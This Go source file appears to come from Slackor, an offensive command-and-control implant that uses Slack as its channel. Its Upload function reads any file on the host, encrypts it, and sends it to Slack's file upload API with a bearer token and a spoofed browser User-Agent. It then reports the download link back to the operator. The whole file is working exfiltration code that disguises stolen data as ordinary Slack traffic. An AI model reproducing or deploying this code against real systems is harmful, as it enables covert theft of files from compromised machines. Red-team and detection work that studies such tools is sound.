github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/internal/slack/upload.go (about)

     1  package slack
     2  
     3  import (
     4  	"bytes"
     5  	"encoding/base64"
     6  	"encoding/json"
     7  	"fmt"
     8  	"io"
     9  	"io/ioutil"
    10  	"mime/multipart"
    11  	"net/http"
    12  	"path/filepath"
    13  
    14  	"github.com/Coalfire-Research/Slackor/internal/config"
    15  	"github.com/Coalfire-Research/Slackor/internal/crypto"
    16  )
    17  
    18  // Upload sends a file to Slack, notifying the listener that a file is ready
    19  // to download
    20  func Upload(clientID, jobID, location string) error { //Sends a response back to the responses channel
    21  	path := filepath.Clean(location)
    22  	filename := filepath.Base(path)
    23  	file, err := ioutil.ReadFile(path)
    24  	if err != nil {
    25  		return err
    26  	}
    27  	body := &bytes.Buffer{}
    28  	writer := multipart.NewWriter(body)
    29  	part, err := writer.CreateFormFile("file", filename)
    30  	if err != nil {
    31  		return err
    32  	}
    33  	encyptedFile, err := crypto.EncryptFile(file) //Encrypts the file before uploading to Slack
    34  	if err != nil {
    35  		return err
    36  	}
    37  	eFile := bytes.NewReader(encyptedFile)
    38  	io.Copy(part, eFile)
    39  	writer.Close()
    40  	resp, err := http.NewRequest("POST", "https://slack.com/api/files.upload", body)
    41  	if err != nil {
    42  		return err
    43  	}
    44  	resp.Header.Add("Content-Type", writer.FormDataContentType())
    45  	resp.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
    46  	resp.Header.Add("Authorization", "Bearer "+config.Token)
    47  	client := &http.Client{}
    48  	r, netError := client.Do(resp)
    49  	if netError != nil {
    50  		fmt.Println("Connection error: " + netError.Error())
    51  	}
    52  	bodyText, err := ioutil.ReadAll(r.Body)
    53  	if err != nil {
    54  		return err
    55  	}
    56  	s := string(bodyText)
    57  	type Auto struct {
    58  		Ok   bool `json:"ok"`
    59  		File struct {
    60  			ID                 string `json:"id"`
    61  			Created            int    `json:"created"`
    62  			Timestamp          int    `json:"timestamp"`
    63  			Name               string `json:"name"`
    64  			Title              string `json:"title"`
    65  			Mimetype           string `json:"mimetype"`
    66  			Filetype           string `json:"filetype"`
    67  			PrettyType         string `json:"pretty_type"`
    68  			User               string `json:"user"`
    69  			Editable           bool   `json:"editable"`
    70  			Size               int    `json:"size"`
    71  			Mode               string `json:"mode"`
    72  			IsExternal         bool   `json:"is_external"`
    73  			ExternalType       string `json:"external_type"`
    74  			IsPublic           bool   `json:"is_public"`
    75  			PublicURLShared    bool   `json:"public_url_shared"`
    76  			DisplayAsBot       bool   `json:"display_as_bot"`
    77  			Username           string `json:"username"`
    78  			URLPrivate         string `json:"url_private"`
    79  			URLPrivateDownload string `json:"url_private_download"`
    80  			Permalink          string `json:"permalink"`
    81  			PermalinkPublic    string `json:"permalink_public"`
    82  			EditLink           string `json:"edit_link"`
    83  			Preview            string `json:"preview"`
    84  			PreviewHighlight   string `json:"preview_highlight"`
    85  			Lines              int    `json:"lines"`
    86  			LinesMore          int    `json:"lines_more"`
    87  			PreviewIsTruncated bool   `json:"preview_is_truncated"`
    88  			CommentsCount      int    `json:"comments_count"`
    89  			IsStarred          bool   `json:"is_starred"`
    90  			Shares             struct {
    91  			} `json:"shares"`
    92  			Channels []interface{} `json:"channels"`
    93  			Groups   []interface{} `json:"groups"`
    94  			Ims      []interface{} `json:"ims"`
    95  		} `json:"file"`
    96  	}
    97  	var m Auto
    98  	json.Unmarshal([]byte(s), &m)
    99  
   100  	SendResult(clientID, jobID, "download", base64.StdEncoding.EncodeToString([]byte(m.File.URLPrivateDownload)))
   101  	return nil
   102  }